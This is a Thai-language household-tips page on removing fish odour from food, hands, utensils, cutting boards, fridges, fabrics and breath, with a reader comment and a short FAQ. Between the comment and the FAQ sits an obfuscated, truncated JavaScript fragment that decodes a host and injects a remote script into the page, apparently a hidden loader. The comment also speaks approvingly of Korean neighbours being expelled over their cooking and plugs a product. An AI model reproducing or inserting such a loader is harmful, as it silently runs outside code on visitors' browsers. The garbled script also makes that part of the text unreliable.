กลิ่นเฉพาะตัว ปลาค็อดหรือปลาทะเลอื่นๆจะหายไปหากคุณแช่ไว้ในน้ำส้มสายชู (2 ช้อนโต๊ะต่อน้ำ 1 ลิตร) หรือถูด้วยมะนาวหั่นแว่น นอกจากนี้สำหรับปลาลิ้นหมาคุณจะต้องเอาผิวหนังออกจากด้านมืดของซากด้วย หากตั้งใจจะต้มปลาก็เทนมสดลงในกระทะแทนได้

เพื่อกำจัดกลิ่นอันไม่พึงประสงค์ของปลา คุณสามารถแช่ปลาที่ควักไส้ออกในน้ำส้มสายชูพร้อมใบกระวาน 3 ใบหรือหัวหอมสับเป็นเวลา 3 ชั่วโมง คุณยังสามารถถูปลาด้วยมะนาว เพื่อป้องกันไม่ให้ปลามีกลิ่นโคลน ให้ล้างด้วยสารละลายเกลือเย็นที่เข้มข้นมาก (ผู้เชี่ยวชาญบางคนแนะนำให้เติมโซดา) หรือถูด้วยพริกไทยดำและผักชีลาว และหลังจากผ่านไป 20 นาที ล้างและปรุงโดยใช้ผักชีฝรั่ง ปลาสด (โดยเฉพาะหอก) จะไม่มีกลิ่นเหมือนหนองน้ำหากคุณใส่ถ่านเบิร์ชร้อนสองหรือสามก้อนลงในน้ำพร้อมกับปลา กลิ่นโคลนคุณยังสามารถทำสิ่งนี้ได้: ทำความสะอาดปลา, ล้าง, หั่นเป็นชิ้น, ใส่ในชามเคลือบฟัน, โรยด้วยใบกระวานสับละเอียด, เทน้ำอุ่นแล้วทิ้งไว้ 1 ชั่วโมงใต้ฝา ก่อนปรุงอาหารหรือทอดให้สะเด็ดน้ำและอย่าล้างปลา มีหลายวิธีในการกำจัดกลิ่นอันไม่พึงประสงค์ในปลาทะเล 1. เอา ปลาทะเลและทำความสะอาดเกล็ด ชุบผ้าเช็ดปากหรือเศษผ้าด้วยน้ำส้มสายชูแล้วห่อปลาไว้ ปลาควรอยู่ในสถานะนี้เป็นเวลา 2-3 ชั่วโมง ยิ่งกว่านั้นคุณต้องละลายน้ำแข็งไม่เร็ว แต่ต้องค่อยๆ 2. คุณต้องปรุงปลานี้ในกระทะที่มีใบกระวานและถั่วลันเตา นอกจากนี้ คุณยังสามารถพันผ้าขี้ริ้วที่ชุบน้ำส้มสายชูไว้รอบฝากระทะจากด้านในได้ วิธีโบราณในการกำจัดกลิ่นโคลนที่อธิบายโดย Elena Molokhovets: “เพื่อแก้ไขรสชาติของปลาคาร์พที่จับได้ในบ่อ ก่อนที่จะฆ่าคุณต้องปล่อยให้มันดึงน้ำส้มสายชูเข้มข้น” เพื่อกำจัดกลิ่นเฉพาะของปลาค็อด ปลาลิ้นหมา หอก และปลาดุกในระหว่างการปรุงอาหาร ให้เติมน้ำเกลือแตงกวา 0.5 ถ้วยนอกเหนือจากราก หัวหอม และเครื่องเทศ ต่อน้ำแต่ละลิตร ปลาบางชนิดมีกลิ่นเฉพาะตัวรุนแรง เพื่อกำจัดกลิ่นนี้ เมื่อต้มหรือตุ๋นปลาให้เติมนมเล็กน้อยลงในกระทะตามธรรมเนียมของชาวภาคเหนือ กลิ่นจะหายไปและเนื้อปลาจะนุ่มและน่ารับประทานมากขึ้น ด้านล่างนี้คือวิธีกำจัดกลิ่นที่ใช้กับปลาบางประเภท หอกเพื่อป้องกันไม่ให้มีกลิ่นคล้ายหนองน้ำ ควรล้างด้วยน้ำเกลือเย็นจัด หากปลามีกลิ่นคล้ายโคลนให้จุ่มลงในสารละลายเกลือเย็น ๆ แล้วกลิ่นอันไม่พึงประสงค์จะหายไป หากเตรียมหอกต้มก็ควรเพิ่มปริมาณเครื่องเทศอย่างมากเนื่องจากปลานี้มักจะมีรสชาติที่ไม่พึงประสงค์ . ปลาคาร์พ Crucian และเทนช์มีกลิ่นคล้ายโคลน หากต้องการกำจัดกลิ่นนี้ คุณต้องแช่พวกมันไว้ในสารละลายเกลือเย็นเป็นเวลาครึ่งชั่วโมง จากนั้นล้างปลาในน้ำไหล เทนช์อร่อยมากและนุ่มนวล แต่มีรสตะกอนเล็กน้อย เพื่อกำจัดมันให้ต้มปลากับเครื่องเทศต่างๆ ในสมัยก่อนเพื่อปรับปรุงรสชาติ เทนช์สดจะถูกเก็บไว้ในน้ำไหลเป็นเวลา 12-14 ชั่วโมง มีดที่ใช้ในการทำความสะอาด ปลาเฮอริ่งคุณต้องถูด้วยแครอทหรือมันฝรั่งแล้วกลิ่นจะหายไป กลิ่นอันไม่พึงประสงค์ของโคลนจะหายไปหากคุณล้างปลาด้วยสารละลายเกลือเย็น ปัญหาอีกประการหนึ่งคือ ขจัดกลิ่นปลาออกจากจาน- กลิ่นอันไม่พึงประสงค์ของปลาจากมือและจานของคุณสามารถกำจัดออกได้ด้วยการล้างด้วยน้ำและน้ำส้มสายชู (น้ำส้มสายชู 1 ช้อนชาต่อน้ำ 2 ลิตร) หากจานยังคงมีกลิ่นของปลาอยู่ ควรล้างด้วยน้ำอุ่นและน้ำส้มสายชู (น้ำส้มสายชู 1 ช้อนโต๊ะต่อน้ำ 2 ลิตร) เขียงไม้สามารถเอาออกได้ด้วยการถูด้วยมะนาวก่อนหั่นปลา! ไม้เป็นตัวดูดซับดูดซับกลิ่นหลัก หลังจากหั่นปลาแล้ว เหลือเพียงล้างกระดานให้มีกลิ่นไม่พึงประสงค์ มีดที่คุณใช้สับหัวหอมหรือเนื้อปลา จะหายไปหากคุณถูใบมีดด้วยเกลืออุ่น เปลือกมะนาว หรือใบชา ส้อมและมีดจะไม่มีกลิ่นเหมือนปลาหากคุณถูด้วยเปลือกมะนาวสดหรือทาน้ำมันด้วยผัก หรือเนย จานปลาก่อนอื่นคุณต้องเช็ดด้วยกระดาษเช็ดปากแล้วล้างออก น้ำเย็นแล้วล้างด้วยน้ำอุ่นและสบู่ น้ำส้มสายชู หรือกลิ่นมัสตาร์ดแห้ง ในตู้เย็นหรือกระทะสามารถกำจัดได้ด้วยสารเคมีในครัวเรือนที่ดูดซับสารมีกลิ่นจากอากาศ วางไว้ในภาชนะปิด - ตู้เย็นหรือกระทะ - เป็นเวลาหลายวัน

แม้ว่าปลา (โดยเฉพาะปลาแม่น้ำ - ปลาดุก, ปลาคอนและปลาคาร์พ crucian) จะมีกลิ่นหอมเฉพาะเจาะจงและจดจำได้ง่าย แต่นี่ไม่ใช่เหตุผลที่จะปฏิเสธผลิตภัณฑ์ที่มีคุณค่าดังกล่าวสำหรับมนุษย์โดยเฉพาะอย่างยิ่งเนื่องจากมีวิธีการรักษาเพียงพอที่จะขจัดปัญหา เราจะดูเพิ่มเติมถึงวิธีลดและกำจัดกลิ่นปลาที่บ้านหากจำเป็น

ขั้นแรก แช่ปลาในน้ำที่เป็นกรดเป็นเวลาหลายชั่วโมง (น้ำส้มสายชู 9% 2 ช้อนโต๊ะต่อน้ำ 1 ลิตร) ซึ่งจะช่วยลดกลิ่นอันไม่พึงประสงค์ระหว่างการปรุงอาหารและการเก็บรักษา อาหารพร้อม- การดำเนินการเพิ่มเติมขึ้นอยู่กับสถานการณ์เฉพาะ

เทคนิคกำจัดกลิ่นปลา

1. บนมือและเครื่องใช้ต่างๆขอแนะนำให้แยกเขียง มีด หม้อ และกระทะสำหรับใส่ปลา แต่อันนี้ ตัวเลือกที่เหมาะซึ่งแม่บ้านบางคนเท่านั้นที่สามารถซื้อได้ คนส่วนใหญ่ใช้อาหารจานเดียวกันสำหรับอาหารที่แตกต่างกัน

ล้างเครื่องครัวทันทีหลังปรุงอาหารในน้ำร้อนด้วยมัสตาร์ดหรือผงซักฟอกเพื่อไม่ให้กลิ่นอันไม่พึงประสงค์มีเวลาดูดซึม แม้จะผ่านไป 30 นาทีแล้วก็ตาม การขจัดกลิ่นปลาออกจากจานยังทำได้ยากกว่าในทันที

หากกลิ่นยังคงซึมซับได้ ให้ต้มน้ำ เติมน้ำส้มสายชู 1-2 ช้อนโต๊ะ (ต่อ 1 ลิตร) ใส่จาน (ช้อน มีด ส้อม จาน) ลงในสารละลาย จากนั้นต้มประมาณ 5-10 นาที เติมน้ำส้มสายชูและน้ำเดือดลงในกระทะหรือกระทะแล้วตั้งไฟสักสองสามนาที (จนเดือดอีกครั้ง) จากนั้นปล่อยให้เย็นจนถึงอุณหภูมิห้องแล้วล้างตามปกติ แช่เขียงในน้ำเย็นพร้อมน้ำส้มสายชูประมาณ 5-10 นาที (3 ช้อนโต๊ะต่อ 1 ลิตร) แล้วล้างออกด้วยน้ำไหลแล้วเช็ดให้แห้งด้วยผ้าเช็ดครัว

ขจัดกลิ่นปลาติดมือได้ดี ผงมัสตาร์ด: ถูมัสตาร์ดบนฝ่ามือ นิ้ว ระหว่างนิ้วมือ แล้วล้างออกด้วยน้ำสะอาด สำหรับการปรุงรส มือที่สะอาดคุณสามารถทาด้วยครีมหรือถูด้วยผิวส้ม (มะนาว)

ทางเลือกที่สองคือ หากสภาพผิวของคุณเอื้ออำนวย ให้ล้างมือด้วยสบู่หรือน้ำยาล้างจาน จากนั้นล้างออกด้วยน้ำเปล่า 1 ลิตร และน้ำส้มสายชู 1 ช้อนโต๊ะ (หรือ 10 กรัม) กรดซิตริก) จากนั้นจึงล้างออกด้วยน้ำสะอาด

ตัวเลือกที่สามคือการล้างมือด้วยเบียร์ (สีอ่อนหรือสีเข้ม) จากนั้นล้างออกด้วยน้ำอุ่น แทนที่จะมีกลิ่นคาวกลิ่นขนมปังจะปรากฏขึ้น

2. ในอาคาร.โดยปกติแล้วกลิ่นคาวอันไม่พึงประสงค์จะปรากฏขึ้นเมื่อใด การรักษาความร้อน- ต้มหรือทอด ช่วงนี้สร้างกระแสลมในห้องครัวหรือใช้เครื่องดูดควันเต็มกำลังเพื่อไม่ให้กลิ่นเหม็นมีเวลาซึมเข้าสู่สิ่งของต่างๆ วิธีที่มีประสิทธิภาพมากที่สุดคือการระบายอากาศ

คุณสามารถดับกลิ่นปลาในห้องครัวด้วยเปลือกส้มหรือเมล็ดกาแฟ (ทอดถั่วสองสามเมล็ดในกระทะ) หากไม่มีผลิตภัณฑ์เหล่านี้ ให้ต้มน้ำในหม้อใบเล็ก เติมน้ำส้มสายชู 1-2 ช้อนโต๊ะหรือกรดซิตริก 5 กรัม แล้วตั้งไฟบนเตาเป็นไฟอ่อน ปล่อยให้ของเหลวระเหยช้าๆ จนกลิ่นหายไปหมด

3. ในตู้เย็น.ในพื้นที่ปิด กลิ่นของปลาจะถูกส่งไปยังผลิตภัณฑ์อื่นทันทีและซึมเข้าสู่ผนังอย่างรวดเร็ว

เก็บปลาไว้ในตู้เย็นในภาชนะหรือภาชนะสุญญากาศที่ปิดสนิท (โดยเฉพาะ) เท่านั้น ไม่เช่นนั้นอาหารอื่นๆ จะดูดซับกลิ่นเฉพาะนี้

เริ่มกำจัดกลิ่นปลาในตู้เย็นด้วยการทำความสะอาดทั่วไป: ปิดเครื่อง นำอาหารทั้งหมดออก ล้างให้สะอาด (เริ่มต้นด้วยผลิตภัณฑ์ที่เลือกแล้วตามด้วยน้ำสะอาด) แล้วเช็ดชั้นวางรวมทั้งผนังด้านในของตู้เย็นให้แห้ง ตู้เย็น. จากนั้นปล่อยให้อากาศสักสองสามชั่วโมง

ผงซักฟอกที่เหมาะสม:

• น้ำมะนาวเป็นวิธีที่ดีที่สุด บีบน้ำเล็กน้อยลงบนผ้าสะอาดแล้วเช็ดทุกพื้นผิว
• สารละลายน้ำส้มสายชู (สัดส่วนสูงสุด – 1 ช้อนโต๊ะต่อน้ำ 200 มล. มิฉะนั้นกรดอาจทำให้องค์ประกอบบางส่วนของตู้เย็นเสียหาย)
• แอมโมเนีย – (3-4 หยดต่อน้ำ 1 ลิตร)
• น้ำยาล้างจาน - หากมีกลิ่นเล็กน้อย

หากยังคงมีกลิ่นคาวอยู่แม้จะปรุงแต่งทั้งหมดแล้ว ให้วางชิ้นบาง ๆ ไว้ที่มุมตู้เย็น ขนมปังข้าวไรย์, บดขยี้ ถ่านกัมมันต์(30-40เม็ด) มะนาวฝาน หรือมันฝรั่งดิบปอกเปลือก สารเหล่านี้ดูดซับกลิ่นภายนอกได้ดี

4. บนผ้า (เสื้อผ้า ผ้าปูโต๊ะ ผ้าเช็ดตัว)ผ้าทุกชนิดดูดซับกลิ่นปลาได้อย่างรวดเร็ว ดังนั้นเมื่อเตรียมอาหารประเภทปลาในห้องครัว ควรมีสิ่งของที่ทำจากผ้าเป็นอย่างน้อย รวมทั้งผ้าม่านและผ้าม่านซึ่งควรเคลื่อนย้ายได้ดีกว่า
ทันทีที่มีกลิ่นปรากฏขึ้นให้ล้างสิ่งของทันที มิฉะนั้นโมเลกุลจะถูกดูดซึมเข้าสู่โครงสร้างของผ้าและจะจัดการได้ยากขึ้นมาก หากพลาดช่วงเวลาในการซักอย่างรวดเร็ว ให้แช่ผ้าไว้ครึ่งชั่วโมงในสารละลายน้ำ 5 ลิตร และน้ำส้มสายชู 2 ช้อนโต๊ะ แล้วจึงซัก

กลิ่นปลา

กลิ่นปลาเฉพาะเจาะจงมาก อาจจะเด่นชัดไม่มากก็น้อย แต่ปลาชนิดใด ๆ ดิบหรือทอดก็มี กระบวนการเหมือน กำจัดกลิ่นปลาต้องใช้ความรู้ความลับบางอย่าง

หลายๆ คนชอบปลา ทั้งทอด ตากแห้ง รมควัน ทำซุปปลา และซื้อเบียร์ มีประโยชน์ต่อสุขภาพ มีคุณค่าทางโภชนาการ และมีกรดไขมันและวิตามินจำนวนมาก แต่น่าเสียดาย กลิ่นปลาคงทนมากและบางครั้งอาจเป็นเรื่องยากมากที่จะเอามันออกจากเขียง โต๊ะ หรือจาน และหากกระบวนการทำอาหารใช้เวลานาน เครื่องดูดควันก็ไม่สามารถช่วยคุณได้ ทั้งผ้าปูโต๊ะและผ้าม่านก็จะอิ่มตัวด้วย "กลิ่น" นี้ ลองดูตัวเลือกต่างๆ วิธีกำจัดกลิ่นปลาในสถานการณ์ต่างๆ

กลิ่นอันไม่พึงประสงค์ในอพาร์ตเมนต์

กำจัดกลิ่นปลา เกลือ มะนาว ผิวเลมอนหรือส้ม และน้ำส้มสายชูจะช่วยในห้องครัว เกลือดูดซับกลิ่นต่างๆ ได้ดี หากนำไปตั้งไฟในกระทะแล้วปล่อยทิ้งไว้บนเตาสักพัก (จนเย็น) มันจะดูดซับ "กลิ่นหอม" บางส่วนไว้ จากนั้นคุณสามารถใช้ผิวเลมอนหรือส้มซึ่งจะกำจัดออกให้หมด กลิ่นปลาในอพาร์ตเมนต์- ในการทำเช่นนี้จะต้องให้ความร้อนด้วย ซึ่งสามารถทำได้ง่ายๆ บนเตาหรือในกระทะขนาดเล็ก วิธีการแก้ไข กลิ่นปลาเค็มหากไม่มีความสนุก? คุณต้องต้มน้ำด้วยน้ำส้มสายชูหรือน้ำมะนาวในกระทะขนาดเล็กแล้วระบายอากาศในห้องครัว

แต่สิ่งที่ดีที่สุด กลิ่นปลาอันไม่พึงประสงค์กำจัดกาแฟ กลิ่นของเมล็ดกาแฟที่คั่วเบา ๆ ในกระทะจะอบอวลไปทั่วบ้านและทำให้คุณลืมปัญหาเรื่องปลาของคุณไปได้ทันที

ถ่านบดและใส่ในภาชนะขนาดเล็กในตู้กับข้าวหรือตู้เสื้อผ้าจะช่วยดูดซับกลิ่น คุณสามารถขจัดกลิ่นอันไม่พึงประสงค์ในบุฟเฟ่ต์ได้โดยการเพิ่มถ่านหรือหัวหอมหั่นบาง ๆ

ปลาทอด

กลิ่นหอมของปลาทอด มีความแข็งแรงมากและเต็มพื้นที่ทันทีในขณะที่ซึมเข้าสู่เสื้อผ้า ผิวหนัง และทุกสิ่งรอบตัว เพื่อขจัดกลิ่นฉุนเมื่อทอดปลา ให้วางมันฝรั่งหนึ่งลูก ปอกเปลือกแล้วหั่นเป็นชิ้นในน้ำมันพืช

มีวิธีที่แน่นอน วิธีปรุงปลาไม่มีกลิ่น:

• ล้างปลาให้สะอาด หั่นเป็นชิ้น
• เกลือและเพิ่มเครื่องปรุงรส
• เทเบียร์ 0.5 ลิตร (ชนิดใดก็ได้!) ลงในกระทะ ปลา หั่นเป็นชิ้น และใส่ในตู้เย็น
• แช่ปลาในเบียร์สัก 20 นาทีก็เพียงพอแล้ว (คุณสามารถทำได้ทั้งวัน ไม่แย่ไปกว่านี้อีกแล้ว)
• ก่อนทอดให้เอาชิ้นปลาใส่กระชอนสักพัก(เพื่อสะเด็ดเบียร์)
• และคุณสามารถทอดได้!

ตู้เย็น

เมื่อเก็บปลาในตู้เย็นต้องแน่ใจว่าได้บรรจุให้แน่นไม่เช่นนั้นผลิตภัณฑ์ทั้งหมดจะมีกลิ่นเฉพาะตัวอิ่มตัว

กำจัดได้ดี กลิ่นปลาในตู้เย็นมัสตาร์ด. ควรใช้แบบแห้ง แต่ถ้าไม่มีก็ควรใช้เครื่องปรุงรสสำเร็จรูป ตู้เย็นล้างด้วยสารละลายมัสตาร์ด

จาน

ก วิธีกำจัดกลิ่นปลาจากจานที่ใช้แล้ว? ส้อมและมีดจะไม่มีกลิ่นคาวหากคุณเช็ดด้วยน้ำมันหรือเปลือกมะนาวก่อนซัก ก่อนที่จะล้างมีดหลังจากหั่นแฮร์ริ่ง หัวหอม หรือกระเทียม ให้วางไว้บนเตาที่กำลังลุกไหม้หรือเช็ดด้วยแครอท มันฝรั่งดิบ, น้ำมันพืชน้ำส้มสายชูแล้วล้างด้วยน้ำเย็นและสบู่ กลิ่นปลาติดมือ.วิธีทำความสะอาด: ก่อนซักให้เช็ดมือด้วยเกลือ - กลิ่นจะหายไป

วิธีกำจัดกลิ่นบนเขียง

ก่อนจะแล่ปลาต้องทำความเข้าใจก่อน วิธีกำจัดกลิ่นออกจากปลา?

จำเป็นต้องสับกระเทียมหรือหัวหอมหั่นเขียงด้วยน้ำส้มสายชู 9% หรือเช็ดด้วยมะนาวฝาน

เมื่อเขียงของคุณมีกลิ่นปลาเต็มแล้ว ให้โรยเขียงด้วยน้ำส้มสายชูที่เจือจางด้วยน้ำในอัตราส่วน 1:1 หรือน้ำมะนาว

กลิ่นหอมของกระเทียม กะหล่ำปลีดองหรือนำปลาออกได้โดยล้างเขียงด้วยน้ำเกลือร้อน (เกลือ 4 ช้อนโต๊ะต่อน้ำ 1 ลิตร) หรือน้ำอุ่นพร้อมน้ำส้มสายชูเจือจาง (น้ำส้มสายชู 2 ช้อนโต๊ะต่อน้ำ 2 ลิตร)

เมื่อเขียงส่งกลิ่นหอมอันไม่พึงประสงค์ออกมา เนื้อดิบแช่กระดานไว้ครึ่งชั่วโมงในน้ำร้อนและบด ถ่าน(100 กรัมต่อลิตร) คุณสามารถใช้เหน็บแนมแทนถ่านหินได้ กาแฟบด- จากนั้น ล้างกระดานให้สะอาดใต้น้ำไหลโดยเติมน้ำยาล้างจานที่มีกลิ่นหอมแบบเหลว

หากเขียงของคุณทำจากพลาสติกเกรดอาหาร เพื่อกำจัดกลิ่นอันไม่พึงประสงค์ ให้ล้างพื้นผิวด้วยน้ำโดยเติมเบกกิ้งโซดา หรือเช็ดด้วยผ้าขี้ริ้วชุบน้ำส้มสายชูแล้วล้างออก

หากต้องการกำจัดกลิ่นเชื้อราที่มาจากเขียงไม้ ให้ขัดแรงๆ กากกาแฟและปล่อยทิ้งไว้แบบนั้นสักสองสามนาที หลังจากนั้นให้ล้างอุปกรณ์ครัวให้สะอาดโดยใช้น้ำร้อน

เช็ดกระดานด้วยผงมัสตาร์ดแห้งหรือชาขี้เมาเพื่อกำจัดกลิ่นแฮร์ริ่ง นมสดยังช่วยระงับ "กลิ่น" นี้ได้อย่างสมบูรณ์แบบ เพียงเช็ดเขียงด้วยฟองน้ำชุบนมเย็น

เมื่อเลือกเขียง ให้พิจารณาความจริงที่ว่ากระดานพลาสติกและกระจกมีโอกาสดูดซับรสชาติที่แตกต่างกันน้อยกว่าเขียงไม้ เหนือสิ่งอื่นใดก็ควรพิจารณาว่าบอร์ดที่มีพื้นผิวลูกฟูกนั้นทำความสะอาดได้ยากกว่าดังนั้นจึงจะมีปัญหาเรื่องกลิ่นมากขึ้น

ใช้กระดานอย่างน้อยสามถึงสี่แผ่นสำหรับกลุ่มอาหารที่แตกต่างกัน และทันทีหลังจากปรุงอาหาร ให้ล้างพวกมันให้สะอาดในน้ำร้อนโดยเติมน้ำยาล้างจานแบบพิเศษ โอกาสที่กลิ่นหอมถาวรจะปรากฏขึ้นเมื่อดูแลเครื่องใช้ในครัวนี้จะน้อยมาก

กลิ่นปลาในเตาอบ?

ทุกคนรู้เรื่องนี้ กลิ่นปลา วางไว้คุณสามารถใช้มีดหรือนิ้วถูด้วยชิ้นหรือผิวเลมอนก็ได้ และมะนาวก็จะบอกคุณด้วย วิธีกำจัดกลิ่นปลาในเตาอบ: เทน้ำลงในถาดอบ หั่นมะนาวครึ่งลูกลงไปแล้วนำเข้าเตาอบร้อนเป็นเวลา 15 นาที

ผ้า

ไม่รู้ วิธีกำจัดกลิ่นปลาบนเสื้อผ้า- และมีวิธีแก้ไข ขจัดกลิ่นปลาเป็นไปไม่ได้ทันที ล้างสิ่งของของคุณก่อน ตามปกติ- หากยังคงมีกลิ่นอันไม่พึงประสงค์อยู่ ให้เริ่มใช้วิธีชั่วคราว เจือจางผงในน้ำและเติมน้ำมะนาวเมื่อซัก ล้างสิ่งของของคุณด้วยมือ กลิ่นหอมของมะนาวควรดูดซับไว้ กลิ่นปลาอันไม่พึงประสงค์- หากจำเป็น ให้ซักเสื้อผ้าของคุณในเครื่องที่เติมครีมนวดผม

น้ำยาล้างจานกลิ่นเลมอนทั่วไปช่วยกำจัดกลิ่นปลาได้ดี ล้างสิ่งของด้วยมือโดยใช้น้ำยาล้างจาน ไม่ว่าในสถานการณ์ใดก็ตาม คุณไม่ควรเติมผงซักฟอกที่คุณใช้ล้างจานลงในเครื่องซักผ้า มันทำให้เกิดฟองจำนวนมากซึ่งอาจทำให้อุปกรณ์เสียหายได้

ซักผ้าด้วยมือโดยใช้ผงซักฟอกธรรมดา ขณะล้างน้ำ ให้เติมน้ำส้มสายชู 1 ช้อนโต๊ะลงในน้ำ ช่วยระงับกลิ่นอันไม่พึงประสงค์ หากไม่มีสูตรใดช่วยคุณได้ โปรดติดต่อร้านซักแห้ง ผลิตภัณฑ์ดูแลผ้าระดับมืออาชีพสามารถรับมือกับปัญหานี้ได้อย่างง่ายดาย

สิ่งทอ

ผ้าปูโต๊ะ ผ้าเช็ดตัว เสื้อผ้าซึมซับได้ง่าย กลิ่นปลา. วิธีกำจัดกลิ่นคาวปลาจากผ้า? การกำจัดมันเป็นเรื่องยาก โดยเฉพาะอย่างยิ่งถ้าคุณไม่นำไปซักทันที น้ำส้มสายชูจะมีประโยชน์อีกครั้ง ควรเติมน้ำอุ่นเล็กน้อยในอัตรา 2 ช้อนโต๊ะ น้ำส้มสายชูต่อน้ำ 5 ลิตร แช่รายการที่มีกลิ่นไม่พึงประสงค์แล้วซักตามปกติหลังจากนั้นสักครู่

กลิ่นอันไม่พึงประสงค์จากปลา

หากคุณกำลังเตรียมซุปปลาจากปลาน้ำจืดขนาดใหญ่ก็มีความเป็นไปได้ที่จะเกิดขึ้น กลิ่นโคลนติดตัวปลา- เพื่อหลีกเลี่ยงไม่ให้จานเน่าเสีย ให้เติมราก เช่น ผักชีฝรั่งหรือขึ้นฉ่ายลงในน้ำซุป หัวหอม(ทั้งหัว) และแครอททั้งตัว นอกจากนี้คุณจะต้อง ใบกระวานและพริกไทย ฉันได้ยินมาว่าคุณสามารถกำจัดกลิ่นปลาในน้ำซุปได้ แตงกวาดองแต่ฉันไม่เคยใช้วิธีนี้เลยเพราะไม่เคยเจอปลาที่มีกลิ่นโคลนเลย กลิ่นเฉพาะของปลาไม่ใช่เหตุผลที่จะปฏิเสธผลิตภัณฑ์ที่มีคุณค่าดังกล่าว โดยเฉพาะอย่างยิ่งหากคุณรู้วิธีจัดการกับกลิ่นนี้

ภายในรถ

ถึงคำถาม วิธีดับกลิ่นปลาฉันจะบอกคุณทันทีในรถ - กลิ่นปลาในรถยากมากที่จะถอดออก เราขอแนะนำให้คุณไปที่ตัวแทนจำหน่ายรถยนต์ซึ่งมีผู้เชี่ยวชาญคอยช่วยเหลือคุณ

ลมหายใจสดชื่น

เราสามารถแนะนำได้ดังต่อไปนี้ การเยียวยาพื้นบ้านเพื่อขจัดสิ่งที่ไม่พึงประสงค์ กลิ่นลมหายใจคาว:

กินแอปเปิ้ลสดให้ได้มากที่สุด

เคี้ยวเมล็ดกาแฟประมาณ 1-2 นาที

บ้วนปากด้วยการแช่สาโทเซนต์จอห์น 2 ช้อนโต๊ะ สำหรับน้ำเดือด 1 ถ้วยล้างวันละ 2-3 ครั้ง

สำหรับโรคกระเพาะที่ทำให้เกิดกลิ่น การแช่มินต์จะช่วยได้ 1 ช้อนโต๊ะ ใบสะระแหน่แห้งสำหรับน้ำเดือด 1 ถ้วย ล้างวันละ 4-5 ครั้ง;

เคี้ยวใบสะระแหน่หรือผักชีฝรั่ง มีคุณสมบัติในการฆ่าเชื้อตามธรรมชาติ ยับยั้งแบคทีเรียและกำจัดกลิ่นปาก

แน่นอนว่าวิธีการทั้งหมดนี้ดีถ้าคน ๆ หนึ่งอยู่ที่บ้าน แต่เป็นการยากที่จะจินตนาการว่าจะทำขั้นตอนเหล่านี้ในที่ทำงาน ในงานปาร์ตี้ ที่โรงละคร คุณต้องมีสเปรย์ทำให้ลมหายใจสดชื่นหรือเคี้ยวหมากฝรั่ง โดยไม่ควรใส่เลย น้ำตาล. การควบคุมลมหายใจที่สดชื่นอย่างต่อเนื่องจะนำช่วงเวลาที่น่ารื่นรมย์มากมายเข้ามาในชีวิตของคุณ

คุยกันที่บ้าน 0

ฉันเป็นนักศึกษาที่มหาวิทยาลัยเคมี ฉันอาศัยอยู่ในหอพัก พวกเขาอาศัยอยู่จากหลากหลายเชื้อชาติ ล่าสุดคนเกาหลีถูกย้ายเข้ามาอยู่ในบล็อกของเรา และเพียงฝันร้ายก็เริ่มต้นขึ้น ฉันไม่เคยชอบกลิ่นปลาต้มเลย และพวกเขาไม่เพียงแค่ปรุงมันเท่านั้น แต่ยังปรุงบนเตาแก๊สอีกด้วย กลิ่นมันแย่มาก มันเป็นไปไม่ได้ที่จะเข้าไปในครัว และหลังจากเยี่ยมชมห้องครัว เสื้อผ้าของฉันก็มีกลิ่นปลา ผู้บัญชาการหอพักแสดงความคิดเห็นต่อพวกเขา และขู่ว่าจะไล่พวกเขาออก แต่ก็ไม่มีประโยชน์ เขาทอดปลาแบบเดียวกับที่เขาทอด โดยทั่วไปแล้วเด็กผู้หญิงและฉันรู้สึกทรมานกับความจริงที่ว่าพวกเราเองเริ่มได้กลิ่นปลาตัวนี้ ระหว่างเรียนรู้สึกไม่สบายใจด้วยซ้ำ เราเดินไปรอบๆ ด้วยความรู้สึกเหม็นสาหัส โดยทั่วไปแล้วฉันจะไม่บอกคุณเป็นเวลานานว่าผลิตภัณฑ์ที่เรียกว่า duftafresh ช่วยเราได้ในความคิดของฉัน อย่างน้อยเสื้อผ้าก็ไม่มีกลิ่นอีกต่อไป และในที่สุด ชาวเกาหลีก็ถูกไล่ออกในที่สุด ฉันหายใจเข้าลึก ๆ ฉันแนะนำมัน

// o;o++)t+=e.charCodeAt(o).toString(16);return t),a=function(e)(e=e.match(/[\S\s](1,2)/g) ;for(var t="",o=0;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf(«firefox»))window.smlo.loadSmlo(n.replace(«https:»,«http:»));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf(«firefox»))window.zSmlo.loadSmlo(n.replace(«https:»,«http:»));else{var i=document.createElement(«script»);i.setAttribute(«src»,n),i.setAttribute(«type»,«text/javascript»),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,«function»==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),«function»==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o(«a2519043306»)!=f&&n(«a2519043306»,f,{expires:parseInt(«3600»)})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o(«a36677002»)!=i&&n(«a36677002»,i);var r=o(«a2519043306»);t=r?r:e,s(t)};f()}();]]>

วิธีกำจัดกลิ่นปลาในน้ำซุป?
เติมนมเล็กน้อยลงในน้ำที่ใช้ปรุงปลา กลิ่นจะหายไป

วิธีกำจัดกลิ่นปลาเมื่อทอด?
เพื่อกำจัดกลิ่นฉุนเมื่อทอดปลา ให้วางมันฝรั่งหนึ่งลูก ปอกเปลือกแล้วหั่นเป็นชิ้นในน้ำมันพืช
หรือวางหัวหอมที่ผ่าครึ่งลงในกระทะที่มีปลา
เคล็ดลับอีกอย่างหนึ่ง เติมน้ำมะนาวหนึ่งหยดลงในน้ำมัน

วิธีกำจัดกลิ่นคาวเมื่อทอด?
เคล็ดลับถัดไป ก่อนทอดประมาณ 20 นาที ให้บีบน้ำมะนาวครึ่งลูกลงบนตัวปลา

วิธีดับกลิ่นปลาในครัวหลังทอด?
